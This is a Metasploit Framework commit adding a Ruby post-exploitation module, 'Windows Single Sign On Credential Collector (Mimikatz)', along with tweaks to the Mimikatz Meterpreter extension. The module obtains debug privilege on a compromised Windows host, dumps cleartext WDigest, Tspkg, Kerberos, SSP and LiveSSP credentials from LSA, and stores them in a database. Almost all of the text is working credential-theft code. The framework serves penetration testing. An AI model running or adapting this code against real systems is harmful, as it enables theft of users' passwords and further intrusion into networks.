Land #1789 - Windows SSO Post Module

This commit is contained in:
sinn3r 2013-10-22 15:48:15 -05:00
commit e1c4aef805
No known key found for this signature in database
GPG Key ID: 2384DB4EF06F730B
3 changed files with 150 additions and 3 deletions

View File

@ -34,14 +34,18 @@ class Mimikatz < Extension
])
end
def send_custom_command(function, args=[])
def send_custom_command_raw(function, args=[])
request = Packet.create_request('mimikatz_custom_command')
request.add_tlv(TLV_TYPE_MIMIKATZ_FUNCTION, function)
args.each do |a|
request.add_tlv(TLV_TYPE_MIMIKATZ_ARGUMENT, a)
end
response = client.send_request(request)
return Rex::Text.to_ascii(response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT))
return response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT)
end
def send_custom_command(function, args=[])
return Rex::Text.to_ascii(send_custom_command_raw(function, args))
end
def parse_creds_result(result)

View File

@ -106,7 +106,7 @@ class Console::CommandDispatcher::Mimikatz
)
accounts.each do |acc|
table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password]]
table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password].gsub("\n","")]
end
print_line table.to_s

View File

@ -0,0 +1,143 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/post/windows/priv'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Priv
include Msf::Auxiliary::Report
def initialize(info={})
super( update_info(info,
'Name' => 'Windows Single Sign On Credential Collector (Mimikatz)',
'Description' => %q{
This module will collect cleartext Single Sign On credentials from the Local
Security Authority using the Mimikatz extension. Blank passwords will not be stored
in the database.
},
'License' => MSF_LICENSE,
'Author' => ['Ben Campbell <eat_meatballs[at]hotmail.co.uk>'],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter' ]
))
end
def run
if sysinfo.nil?
print_error("This module is only available in a windows meterpreter session.")
return
end
print_status("Running module against #{sysinfo['Computer']}")
if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/)
print_error("x64 platform requires x64 meterpreter and mimikatz extension")
return
end
unless client.mimikatz
vprint_status("Loading mimikatz extension...")
begin
client.core.use("mimikatz")
rescue Errno::ENOENT
print_error("This module is only available in a windows meterpreter session.")
return
end
end
unless is_system?
vprint_warning("Not running as SYSTEM")
debug = client.mimikatz.send_custom_command("privilege::debug")
if debug =~ /Not all privileges or groups referenced are assigned to the caller/
print_error("Unable to get Debug privilege")
return
else
vprint_status("Retrieved Debug privilege")
end
end
vprint_status("Retrieving WDigest")
res = client.mimikatz.wdigest
vprint_status("Retrieving Tspkg")
res.concat client.mimikatz.tspkg
vprint_status("Retrieving Kerberos")
res.concat client.mimikatz.kerberos
vprint_status("Retrieving SSP")
res.concat client.mimikatz.ssp
vprint_status("Retrieving LiveSSP")
livessp = client.mimikatz.livessp
unless livessp.first[:password] =~ /livessp KO/
res.concat client.mimikatz.livessp
else
vprint_error("LiveSSP credentials not present")
end
table = Rex::Ui::Text::Table.new(
'Header' => "Windows SSO Credentials",
'Indent' => 0,
'SortIndex' => 0,
'Columns' =>
[
'AuthID', 'Package', 'Domain', 'User', 'Password'
]
)
unique_results = res.index_by { |r| "#{r[:authid]}#{r[:user]}#{r[:password]}" }.values
unique_results.each do |result|
next if is_system_user? result[:user]
table << [result[:authid], result[:package], result[:domain], result[:user], result[:password]]
report_creds(result[:domain], result[:user], result[:password])
end
print_line table.to_s
end
def report_creds(domain, user, pass)
return if (user.empty? or pass.empty?)
if session.db_record
source_id = session.db_record.id
else
source_id = nil
end
report_auth_info(
:host => session.session_host,
:port => 445,
:sname => 'smb',
:proto => 'tcp',
:source_id => source_id,
:source_type => "exploit",
:user => "#{domain}\\#{user}",
:pass => pass
)
end
def is_system_user?(user)
system_users = [
/^$/,
/^DWM-\d$/,
/^ASPNET$/,
/^ASP\.NET V2\.0 Integrated$/,
/^ANONYMOUS LOGON$/,
/^IUSR.*/,
/^IWAM.*/,
/^IIS_WPG$/,
/.*\$$/,
/^LOCAL SERVICE$/,
/^NETWORK SERVICE$/,
/^LOCAL SYSTEM$/
]
return system_users.find{|r| user.match(r)}
end
end